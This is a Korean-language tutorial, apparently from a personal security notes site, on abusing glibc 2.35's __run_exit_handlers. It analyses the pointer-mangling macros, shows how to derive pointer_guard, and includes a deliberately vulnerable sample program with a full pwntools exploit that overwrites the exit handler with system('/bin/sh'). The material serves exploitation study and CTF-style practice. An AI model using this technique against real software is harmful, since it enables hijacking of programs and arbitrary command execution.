Home
System Hacking
🏃

__run_exit_handlers Exploit

Type
Vuln
생성 일시
2024/10/29 13:36
종류
__run_exit_handlers

분석버전

getconf -a |grep libc GNU_LIBC_VERSION glibc 2.35 checksec ./main Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
Bash
복사

프로그램의 실행 순서

main ret 이후에 실행되는 순서를 확인해보면 __libc_start_call_main에서 _GI_exit을 호출하고 있습니다.
이전에 분석한 글과 동일하게 위와 같은 순서로 프로그램이 실행되는 것을 알 수 있습니다.
자세한 내용은 아래의 글 참조
위 글과 동일한 내용이니 __run_exit_handlers 함수로 si을 통해서 넘어가보면
__call_tls_dtors 함수를 지나서 아래의 asm에서 rcx4와 일치하여 __run_exit_hanlers+208jmp합니다.
해당 부분을 확인해보면 아래와 asm이 동일합니다.
이 부분을 이제 C언어로 소스코드로 확인하면 아래와 같습니다.

__run_exit_handlers Function

Source Code(궁금하신 분들은 확인)
일단 분석을 진행하기 전 구조체와 값 먼저 확인하겠습니다.

exit_function && exit_function_list

struct exit_function { /* `flavour' should be of type of the `enum' above but since we need this element in an atomic operation we have to use `long int'. */ long int flavor; union { void (*at) (void); struct { void (*fn) (int status, void *arg); void *arg; } on; struct { void (*fn) (void *arg, int status); void *arg; void *dso_handle; } cxa; } func; }; struct exit_function_list { struct exit_function_list *next; size_t idx; struct exit_function fns[32]; };
C
복사

enum ef_

enum { ef_free, /* `ef_free' MUST be zero! */ ef_us, ef_on, ef_at, ef_cxa };
C
복사

__run_exit_handlers Function 핵심

void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit, bool run_dtors) { ... struct exit_function_list *cur = *listp; ... while (cur->idx > 0) { struct exit_function *const f = &cur->fns[--cur->idx]; ... switch (f->flavor) { ... case ef_on: onfct = f->func.on.fn; arg = f->func.on.arg; #ifdef PTR_DEMANGLE PTR_DEMANGLE (onfct); #endif ... }
C
복사

__run_exit_handlers C to ASM

Casm으로 이해한 내용을 정리를해보면 ef_onrcx의 값이 4로 종료가되며 이때 실행되는 코드는 아래와 같습니다.
1.
__run_exit_handlers에 인자로 전달되는 인자는 struct exit_function_list **listp
<__run_exit_handlers+12>: mov r12,rsi
Assembly
복사
2.
struct exit_function_list *cur = *listp;로 변환
<__run_exit_handlers+62>: mov r15,QWORD PTR [r12]
Assembly
복사
3.
struct exit_function *const f = &cur->fns[--cur->idx];exit_funcion 구조체로 변환
<__run_exit_handlers+80>: mov rax,QWORD PTR [r15+0x8] ... <__run_exit_handlers+93>: sub rax,0x1 <__run_exit_handlers+97>: mov rdx,rax <__run_exit_handlers+100>: mov QWORD PTR [r15+0x8],rax <__run_exit_handlers+104>: shl rdx,0x5
Assembly
복사
4.
switch (f->flavor)
<__run_exit_handlers+108>: mov rcx,QWORD PTR [r15+rdx*1+0x10]
Assembly
복사
5.
case ef_on: 즉 rcx가 4에 걸려 아래의 코드들이 실행
<__run_exit_handlers+123>: cmp rcx,0x4 <__run_exit_handlers+127>: je 0x7ffff7c45460 <__run_exit_handlers+208>
Assembly
복사
6.
onfct = f->func.on.fn; arg = f->func.on.arg;로 인자와 함수를 저장한 뒤
<__run_exit_handlers+208>: add rdx,r15 <__run_exit_handlers+211>: mov rax,QWORD PTR [rdx+0x18] <__run_exit_handlers+215>: mov r13,QWORD PTR [rdx+0x20]
Assembly
복사
7.
PTR_DEMANGLE (onfct);DEMANGLE
<__run_exit_handlers+229>: ror rax,0x11 <__run_exit_handlers+233>: xor rax,QWORD PTR fs:0x30 ... <__run_exit_handlers+256>: mov rdi,r13 <__run_exit_handlers+259>: call rax
Assembly
복사

__run_exit_handlers 호출 함수 및 전달 인자 분석

exit Function

exit (int status) { __run_exit_handlers (status, &__exit_funcs, true, true); } libc_hidden_def (exit)
C
복사
exit 함수에서 __run_exit_handlers 함수를 호출하고 있습니다.
자 그럼 struct exit_function_list **listp에 전달되는 인자먼저 확인해보면 아래와 같습니다.
static struct exit_function_list initial; struct exit_function_list *__exit_funcs = &initial;
C
복사
즉 정리해본다면 __exit_funcsinitial이라는 전역 변수에 저장되어 있습니다.
initial은 libc에 존재한다. → libc_base를 알아낼 수 있으면 offset으로 접근하여 initial에 존재하는 MANGLE 함수 포인터를 Leak 할수 있다.
실제로 확인해보면 아래와 같은 구조를 지니는 것을 확인할 수 있습니다.
gef➤ p **&__exit_funcs $1 = { next = 0x0, idx = 0x0, fns = {{ flavor = 0x0, func = { at = 0xd26896c1494eb578, on = { fn = 0xd26896c1494eb578, arg = 0x0 }, cxa = { fn = 0xd26896c1494eb578, arg = 0x0, dso_handle = 0x0 } } }, { flavor = 0x0, func = { at = 0x0, on = { fn = 0x0, arg = 0x0 }, cxa = { fn = 0x0, arg = 0x0, dso_handle = 0x0 } } } <repeats 31 times>} }
C
복사
그럼 다시 넘어와 __run_exit_handlers+229까지 실행시키고 하나씩 레지스터 상태를 디버깅해보겠습니다.
1.
<__run_exit_handlers+229> ror rax, 0x11
$rax : 0xd26896c1494eb578
2.
<__run_exit_handlers+233> xor rax, QWORD PTR fs:0x30
$rax : 0x5abc69344b60a4a7
3.
<__run_exit_handlers+242> xchg DWORD PTR [r14], edx
$rax : 0x00007ffff7fc9040 → <_dl_fini+0> endbr64
4.
<__run_exit_handlers+259> call rax
최종적으로 rax 호출
그럼 이제 디버깅한 내용을 모두 종합해본다면 PTR_DEMANGLE(cxafct);exafct_dl_fini가 들어가는걸 확인할 수 있습니다.
해당 영역을 확인해보면 ld 영역임을 확인할 수 있습니다.

PTR_MANGLE 분석

간단하게 설명하면 함수 포인터에 fs:0x30 즉 pointer_guard를 xor 연산과 ROR, ROL 연산을 수행한다고 보면 된다.

PTR_MANGLE MACRO

1.
rol(function_pointer ^ fs:0x30, 0x11)

PTR_DEMANGLE

1.
ror(MANGLE_pointer, 0x11) ^ fs:0x30

소스코드

# define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n" \ "rol $2*" LP_SIZE "+1, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard))) # define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \ "xor %%fs:%c2, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard)))
Assembly
복사
struct tcbhead_t

Exploit condition

1.
libc_base가 leak되어야 함 → initial 주소를 구하기 위해
2.
oor, oow가 가능해야 함 → initial 주소에 담긴 PTR_MANGLE(_dl_fini)를 알아내기 위해
3.
ld_base를 leak 할 수 있어야 함 → _dl_fini 주소를 가지고 pointer_guard를 알아내기 위해
PTR_DEMANGLE을 봤다면 PTR_MANGLE의 로직을 역으로 이용하여 pointer_guard의 값을 알아낼 수 있다.

MANGLE(_dl_fini) leak

initial이라는 전역변수는 libc에 위치하고 있습니다.
따라서 libc_base만 알아낼 수 있다면 offset을 기준으로 initial을 접근할 수 있고 initial + 0x18MANGLE_dl_fini입니다.
추가로 initial + 0x20첫번째 인자로 전달됨

pointer_guard leak

일단 수식으로 작성해본다면
_dl_fini=ROR(MANGLE(_dl_fini), 17)  pointer_guard\_dl\_fini = ROR(MANGLE(\_dl\_fini),\space17) \space\oplus\space pointer\_guard
_dl_fini pointer_guard=ROR(MANGLE(_dl_fini), 17)  pointer_guard pointer_guard\_dl\_fini \oplus\space pointer\_guard = ROR(MANGLE(\_dl\_fini),\space17) \space\oplus\space \cancel{pointer\_guard} \oplus\space \cancel{pointer\_guard}
pointer_guard=ROR(MANGLE(_dl_fini), 17)  _dl_finipointer\_guard = ROR(MANGLE(\_dl\_fini),\space17) \space\oplus\space \_dl\_fini
위와 같은 연산을 통해서 pointer_guard를 구할 수 있다.
이를 위해서는 _dl_fini의 주소를 알기 위해서 ld_baseleak해야 한다.

ld_base leak

일단 위에서 말한 ld_baseleak하기 위해서는 libc_base를 알아야한다.
libc에 존재하는 전역변수 중 environ라는 전역 변수가 존재한다.
해당 전역변수는 스택의 주소를 저장하고 있기도 하지만 동시에 ld_base 주소도 저장하고 있다.
이는 실행하면서 있는 주소를 찾아서 __environ 주소에서 offset을 더해주면 된다.
ld_base를 구했으면 ld에 있는 _dl_fini 함수의 주소를 알아낼 수 있고 pointer_guard를 구해 exploit을 진행할 수 있다.
사실 정확하게 왜 envrion에 ld_based의 주소가 들어가이있는지는 분석을 못했다. exploit에 찾기위해서 뒤지던 도중 나왔음…

sample docker

main.zip
3.8KB
간단한 코드를 통해서 확인해보겠습니다.
#include <stdio.h> char name[0x100]; void menu(){ printf("1. read\n"); printf("2. write\n"); printf("3. exit\n"); } void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int main() { init(); int choice; unsigned long *address; printf("stdout : %p\n", stdout); while (1){ menu(); printf("input : "); scanf("%d", &choice); if(choice == 1){ printf("address : "); scanf("%lu", &address); printf("value : %p\n", *address); } else if(choice == 2){ printf("address : "); scanf("%lu", &address); printf("value : "); scanf("%lu", address); }else break; } return 1; }
C
복사

Exploit Idea

1.
stdout이 leak됨 → libc_base 구하기 가능
2.
oor, oow 가능 → ld_base 구한 뒤, pointer_guard 계산
3.
initial + 0x18MANGLE(system)
4.
initial + 0x20/bin/sh 인자 전달
5.
main 종료

Exploit

from pwn import * # p = process("./main") p = remote("127.0.0.1", 9090) libc = ELF('./libc.so') ld = ELF("./ld.so") def ROR(data, shift, size=64): shift %= size body = data >> shift remains = (data << (size - shift)) - (body << size) return (body + remains) def ROL(data, shift, size=64): shift %= size remains = data >> (size - shift) body = (data << shift) - (remains << size ) return (body + remains) def read(address): p.sendlineafter("input : ", "1") p.sendlineafter(": ", str(address)) return int(p.recvline().split(b": ")[1].strip(), base=16) def write(address, value): p.sendlineafter("input : ", "2") p.sendlineafter(": ", str(address)) p.sendlineafter(": ", str(value)) stdout = int(p.recvline().split(b": ")[1].strip(), base=16) libc_base = stdout - libc.symbols['_IO_2_1_stdout_'] environ = libc_base + libc.symbols['__environ'] envrion_address = read(environ) ld_base = read(envrion_address + 0xf0) #직접 디버깅해보면서 찾아야함, 하지만 8씩 늘려가면서 대충 때려맞춰도 될 듯? _dl_fini = ld_base + 0x6040 #smybol이 없어 디버깅해보면서 offset을 직접 구해야함 MANGLE_dl_fini = read(libc_base + 0x21af00 + 0x18) #smybol이 없어 디버깅해보면서 offset을 직접 구해야함 success(f"stdout : {hex(stdout)}") success(f"libc_base : {hex(libc_base)}") success(f"envrion_address : {hex(envrion_address)}") success(f"ld_base : {hex(ld_base)}") success(f"_dl_fini : {hex(_dl_fini)}") success(f"MANGLE_dl_fini : {hex(MANGLE_dl_fini)}") # Get pointer_guard pointer_guard = ROR(MANGLE_dl_fini, 0x11) ^ _dl_fini MANGLE_system = ROL(libc_base + libc.symbols['system'] ^ pointer_guard, 0x11) success(f"pointer_guard : {hex(pointer_guard)}") success(f"MANGLE system : {hex(MANGLE_system)}") write(libc_base + 0x21af00 + 0x18, MANGLE_system) write(libc_base + 0x21af00 + 0x20, libc_base + list(libc.search(b'/bin/sh\x00'))[0]) p.interactive()
Bash
복사